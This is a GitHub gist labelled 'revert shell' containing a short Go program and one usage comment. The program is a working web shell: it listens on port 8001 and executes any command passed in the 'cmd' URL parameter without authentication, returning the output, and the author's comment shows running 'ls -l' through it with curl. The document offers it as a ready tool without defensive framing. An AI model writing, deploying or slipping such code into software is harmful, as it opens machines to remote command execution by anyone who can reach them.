Last active
          November 7, 2023 02:21 
        
      - 
      
 - 
        
Save liuyangc3/b009dcbe245d8d28679c0ce47dfe8604 to your computer and use it in GitHub Desktop.  
    revert shell
  
        
  
    
      This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
      Learn more about bidirectional Unicode characters
    
  
  
    
  | package main | |
| import ( | |
| "fmt" | |
| "log" | |
| "net/http" | |
| "os/exec" | |
| "strings" | |
| ) | |
| func hello(w http.ResponseWriter, r *http.Request) { | |
| cmd := "" | |
| keys, ok := r.URL.Query()["cmd"] | |
| if ok { | |
| cmd = keys[0] | |
| } | |
| if cmd == "" { | |
| return | |
| } | |
| unpack := strings.Fields(cmd) | |
| e := exec.Command(unpack[0], unpack[1:]...) | |
| out, err := e.CombinedOutput() | |
| if err != nil { | |
| log.Fatalf("cmd.Run() failed with %s\n", err) | |
| } | |
| fmt.Fprintf(w, "%s!\n", out) | |
| } | |
| func main() { | |
| http.HandleFunc("/", hello) | |
| http.ListenAndServe(":8001", nil) | |
| } | 
      
      
  Author
  
  
      
          
      
      
            liuyangc3
  
      
      
      commented 
        Oct 19, 2022 
      
    
  
curl http://127.0.0.1:8001/\?cmd\=ls%20-l
  
    Sign up for free
    to join this conversation on GitHub.
    Already have an account?
    Sign in to comment